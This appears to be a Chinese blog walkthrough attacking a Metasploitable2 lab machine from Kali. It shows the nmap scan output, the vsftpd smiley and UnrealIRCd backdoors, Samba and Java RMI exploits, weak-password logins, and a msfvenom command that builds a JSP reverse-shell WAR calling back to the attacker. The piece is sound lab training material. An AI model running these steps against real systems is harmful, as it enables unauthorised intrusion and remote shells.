环境介绍
攻击机:
kali IP: 192.168.1.6
靶机:
Metasploitable2 IP:192.168.1.7
江湖惯例,nmap走一套 !
nmap -A -v -T4 192.168.1.7
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 192.168.1.6
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
| 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:d5:6c:cd (DSA)
|_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
23/tcp open telnet Linux telnetd
25/tcp open smtp Postfix smtpd
|_smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN,
|_ssl-date: 2021-03-21T12:05:29+00:00; -58m59s from scanner time.
| sslv2:
| SSLv2 supported
| ciphers:
| SSL2_DES_192_EDE3_CBC_WITH_MD5
| SSL2_RC2_128_CBC_WITH_MD5
| SSL2_DES_64_CBC_WITH_MD5
| SSL2_RC_128_EXPORT40_WITH_MD5
| SSL2_RC_128_WITH_MD5
|_ SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
53/tcp open domain ISC BIND 9.4.2
| dns-nsid:
|_ bind.version: 9.4.2
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.2.8 (Ubuntu) DAV/2
|_http-title: Metasploitable2 - Linux
111/tcp open rpcbind 2 (RPC #100000)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp open exec?
513/tcp open login OpenBSD or Solaris rlogind
514/tcp open shell?
| fingerprint-strings:
| NULL:
|_ Couldn't get address for your host (kali)
1099/tcp open java-rmi GNU Classpath grmiregistry
1524/tcp open bindshell Metasploitable root shell
2049/tcp open nfs 2-4 (RPC #100003)
2121/tcp open ftp ProFTPD 1.3.1
3306/tcp open mysql MySQL 5.0.51a-3ubuntu5
| mysql-info:
| Protocol: 10
| Version: 5.0.51a-3ubuntu5
| Thread ID: 1960
| Capabilities flags: 43564
| Some Capabilities: Support41Auth, SwitchToSSLAfterHandshake, SupportsTransactions, Speaks41ProtocolNew, LongColumnFlag, ConnectWithDatabase, SupportsCompression
| Status: Autocommit
|_ Salt: PR.-5ajs"J0Nz>bUcr5N
5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
|_ssl-date: 2021-03-21T12:05:29+00:00; -58m59s from scanner time.
5900/tcp open vnc VNC (protocol 3.3)
| vnc-info:
| Protocol version: 3.3
| Security types:
|_ VNC Authentication (2)
6000/tcp open X11 (access denied)
6667/tcp open irc UnrealIRCd
| irc-info:
| users: 1
| servers: 1
| lusers: 1
| lservers: 0
| server: irc.Metasploitable.LAN
| version: Unreal3.2.8.1. irc.Metasploitable.LAN
| uptime: 104 days, 22:19:00
| source ident: nmap
| source host: Test-B025CB0A
|_ error: Closing Link: hrrcjhxfh[kali] (Quit: hrrcjhxfh)
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
|_ajp-methods: Failed to get a valid response for the OPTION request
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1
|_http-favicon: Apache Tomcat
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache Tomcat/5.5
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port514-TCP:V=7.80%I=7%D=3/21%Time=60574412%P=x86_64-pc-linux-gnu%r(NUL
SF:L,2B,"\x01Couldn't\x20get\x20address\x20for\x20your\x20host\x20\(kali\)
SF:\n");
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: -58m59s, deviation: 0s, median: -58m59s
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
| nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| Names:
| METASPLOITABLE<00> Flags: <unique><active>
| METASPLOITABLE<03> Flags: <unique><active>
| METASPLOITABLE<20> Flags: <unique><active>
| WORKGROUP<00> Flags: <group><active>
|_ WORKGROUP<1e> Flags: <group><active>
|_smb-os-discovery: ERROR: Script execution failed (use -d to debug)
|_smb-security-mode: ERROR: Script execution failed (use -d to debug)
|_smb2-time: Protocol negotiation failed (SMB2)
发现这机器开的端口还真不少,一个一个来!
ftp漏洞
tcp 21号端口开放 运行vsftpd 2.3.4工具,百度之,发现存在一个很有意思的漏洞,笑脸漏洞,这个漏洞让用户在登录时,用户名后面加上一个:)类似笑脸的符合,密码随意,就可以令靶机开启一个6200的后门端口,此时我们可以使用telnet或者nc进行连接:
nc 192.168.1.7 6200
或者
telnet 192.168.1.7 6200
直接在msfconsole中使用模块进行利用,
完善选项
发现还是个root用户
ssh弱口令爆破
看到ssh 下意识想到弱口令爆破 ,先试试这个,不行再说别的。
在终端中输入命令“set RHOST 192.168.1.7”,设置目标主机的地址。
在终端中输入“set USERNAME msfadmin”,指定登陆用户名root。
在终端中输入“set PASS_FILE /home/passwd.txt”,设置暴力破解的密码文件路径。
最后得到密码为msfadmin,在终端中输入“ssh [email protected]”,连接目标主机。
telnet 弱口令爆破
将账号和密码的文件配置完成之后,开始爆破 !
最后结果是 msfadmin:msfadmin
samba漏洞利用
原理:Samba中负责在SAM数据库更新用户口令的代码未经过滤便将用户输入传输给了/bin/sh。如果在调用smb.conf中定义的外部脚本时,通过对/bin/sh的MS-RPC调用提交了恶意输入的话,就可能允许攻击者一nobody用户的权限执行任意命令。
看到 339 445端口就很熟悉了,直接搜索samba,这里我们使用usermap_script脚本
最后获得shell之后 我们发现是个高权限的shell
Java RMI SERVER命令执行漏洞
搜索 rmi_server
选择使用的模块
设定好相关的参数后,直接run 获得shell
postgressql 弱口令
同样弱口令进入。密码:postgres
vnc弱口令进入
密码: password
UnreallRCd后门漏洞
原理:在2009年11月到2010年6月间分布于某些镜面站点的UNreallRCd,在 DEBUG3_DOLOG_SYSTEM宏中包含外部引入的恶意代码,远程攻击者就能够执行任意代码。
方法:在终端中输入命令“use exploit/unix/irc/unre ircd 3281backdoor”,启用漏洞利用模块。
可以发现漏洞版本和荷载命名是对应的,漏洞版本是3.2.8.1,在Metasploit里有这个攻击荷载,所以直接使用,在终端中输入命令“show options”,查看需要设置的相关项,“yes” 表示必须填写的参数。
设置payload
利用成功后 界面是这样的,并不直观。我们可以将其转化为meterpreter界面
sessions -l 查看已经后台运行的shell 找到该shell session -u将其转为meterpreter
再次查看后台,发现一个新的会话
session -i 13进入该会话
tomcat弱口令登录
访问8081端口 发现存在tomcat后台,tomcat:tomcat弱口令进入mananger界面。
在该处上传一个war包 来getshell
使用工具生成war包
msfvenom -p java/jsp_shell_reverse_tcp LHOST=”192.168.1.6″ LPORT=666 -f war > newshells.war
查看war文件中的jsp木马的文件名
在本地的2223端口设置监听,注意使用的payload为java/jsp_shell_reverse_tcp。访问以下的url 将会反弹shell
http://192.168.1.7:8180/newshells/jovdwhxgd.jsp
借这个漏洞在这里记录一下tomcat的利用姿势。
Tomcat为了解决由于默认密码而引发的安全问题,就没有设置默认密码与用户名。如果有使用管理后台的必要,需要使用者在用户配置文件中(tomcat-users.xml)手动设置用户名,密码并且根据其需要的功能设置用户角色。
<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
version="1.0">
<role rolename="manager-gui"/>
<role rolename="manager-script"/>
<role rolename="manager-jmx"/>
<role rolename="manager-status"/>
<role rolename="admin-gui"/>
<role rolename="admin-script"/>
<user username="tomcat" password="tomcat" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script" />
</tomcat-users>
Tomcat其实具有两个后台管理,一种是用于管理所部署Web应用,它对应的角色以manager开头;一个是用于管理虚拟主机,它对应的角色以admin开头。
仔细观察上述文件中的角色就可以发现有几个是以manager为前缀有几个以admin为前缀。为什么会存在这种差异呢,这是因为Tomcat其实具有两个后台管理,一种是用于管理所部署Web应用,它对应的角色以manager开头;一个是用于管理虚拟主机,它对应的角色以admin开头。
以manager开头:
-
manager-gui:允许用户登录图形化的Web应用管理及部署页面,页面地址为/manger/html
-
manager-status:允许用户访问查看服务器状态的页面,页面地址为/manager/status
-
manager-script:允许用户通过文本页面的形式执行管理命令,页面地址为/manager/text/命令?参数
-
manager-jmx:允许用户通过JMX代理接口并访问“服务器状态”页面。
以admin开头:
-
admin-gui :对应用图形花管理界面,地址为/host-manager/html
-
admin-script:允许用户通过文本页面的形式执行管理命令,页面地址为/manager/text/命令?参数
关于生成war包进行利用的方式:
可以把war包理解为一种压缩包,这个压缩包里包含了你要上传的Web应用的所有资源(文件),你上传后Tomcat会自动将其解压部署为Web应用。除了常规的使用msfvenom产生木马war包外,还可以使用一句话木马进行制作war包
root@kali:~/evil# dir
evil.jsp
root@kali:~/evil# jar cvf evil.war .
已添加清单
正在添加: evil.jsp(输入 = 694) (输出 = 390)(压缩了 43%)
root@kali:~/evil# dir
evil.jsp evil.war
上传后,直接蚁剑访问就可以获得webshell。
来源:freebuf.com 2021-06-08 08:42:41 by: Cobra001
请登录后发表评论
注册